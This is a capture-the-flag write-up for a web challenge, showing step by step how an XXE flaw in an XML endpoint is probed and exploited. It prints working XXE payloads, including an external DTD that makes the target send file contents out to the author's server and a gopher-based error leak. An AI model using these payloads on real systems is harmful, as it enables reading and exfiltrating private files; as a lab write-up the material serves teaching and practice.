Special Order pt2
- CTF: 0x414141 CTF
- Category: Web
- Writeups
Given
we got hacked last time, our platform is stronger and better now.
I think I patched all the vulnerabilities
EU instance (link)
US instance (link)
author: pop_eax
Analysis
The name seems to hint that this is an continuation of a previous challenge. A quick google for Special Order CTF
gives us https://github.com/pop-eax/SpecialOrder
, and more importantly https://pop-eax.github.io/blog/posts/ctf-writeup/web/2020/08/01/h-cktivitycon-ctf-specialorder/
. We see that the challenge was JSON endpoint also supporting XML and performing an XXE using that. Let's start by looking at that endpoint.
I signed up to the site with user/pw tea/tea
and signed in to get the session cookie to be able to do the request.
Lets try out the previous vulnerable POST /customize
endpoint.
Control
> curl http://207.180.200.166:5000/customize
Content-Type: application/json
Cookie: session=sessionCookie
{"color" : "red", "size": "40px"}
> DONE :D
Moving to XML
> curl http://207.180.200.166:5000/customize
Content-Type: application/xml
Cookie: session=sessionCookie
<?xml version="1.0" encoding="UTF-8"?>
<root>
<color>red</color>
<size>40px</size>
</root>
> Sorry but this functionality has been disabeled due to recent intrustions
Hm, looks like it is blocked. Lets mess up the code to see if it is parsed.
> curl http://207.180.200.166:5000/customize
Content-Type: application/xml
Cookie: session=sessionCookie
<?xml version="1.0" encoding="UTF-8"?>
<root>
<colorred</color>
<size>40px</size>
</root>
> error parsing attribute name, line 3, column 11 (, line 3)
Oh, it is! So it might still be vulnerable.
Let's see if we can add some entities and try to execute them. Let's try to fetch a non existing file, since a valid request would result in the "Sorry" message.
> curl http://207.180.200.166:5000/customize
Content-Type: application/xml
Cookie: session=sessionCookie
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///non-existing">]>
<root>
<color>&xxe;</color>
<size>40px</size>
</root>
> Failure to process entity xxe, line 4, column 14 (, line 4)
OK! A failure! That means it tried to parse the xxe. Lets try to get a file that should exist to verify that file://
should work.
> curl http://207.180.200.166:5000/customize
Content-Type: application/xml
Cookie: session=sessionCookie
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>
<color>&xxe;</color>
<size>40px</size>
</root>
> Sorry but this functionality has been disabeled due to recent intrustions
Ok, so file exists -> Sorry
and file doesnt exist -> Failure
Let's try to look for the flag file location.
> curl http://207.180.200.166:5000/customize
Content-Type: application/xml
Cookie: session=sessionCookie
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///flag.txt">]>
<root>
<color>&xxe;</color>
<size>40px</size>
</root>
> Sorry but this functionality has been disabeled due to recent intrustions
Oh, that was lucky! Flag is located at /flag.txt
, now we just need to find a way to read it. Seeing the error logs would suggest that an error based approach would work.
Let's see if it can load external DTD's
> curl http://207.180.200.166:5000/customize
Content-Type: application/xml
Cookie: session=sessionCookie
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "http://myserver:8995/test">]>
<root>
<color>&xxe;</color>
<size>40px</size>
</root>
On the server side:
yugge@myserver:~$ nc -l 8995
GET /test HTTP/1.0
Host: myserver:8995
Accept-Encoding: gzip
It seems to work! Let's construct a small dtd to create a web request with the content of the file.
Exploit
> curl http://207.180.200.166:5000/customize
Content-Type: application/xml
Cookie: session=sessionCookie
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///flag.txt">
<!ENTITY % xxe SYSTEM "http://myserver/test.dtd">
%xxe;
]>
<root>
<color>&send;</color>
<size>40px</size>
</root>
On the server side:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://myserver/?%file;'>"> %all;
Output:
> 504 Gateway Time-out
Huh, so we got a timeout when parsing the file, could there be some blocked words in the dtd? Let's try to replace http with another protocol.
> curl http://207.180.200.166:5000/customize
Content-Type: application/xml
Cookie: session=sessionCookie
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///flag.txt">
<!ENTITY % xxe SYSTEM "http://myserver/test.dtd">
%xxe;
]>
<root>
<color>&send;</color>
<size>40px</size>
</root>
On the server side:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'gopher://myserver/?%file;'>"> %all;
Output:
> Invalid URI: gopher://myserver/?flag{i7_1s_n0t_s0_bl1nd3721} , line 2, column 87 (test.dtd, line 2)
Oh, that worked better than expected. It didn't need to make the call, me messing up the URI for the gopher call made it error out the file content :D.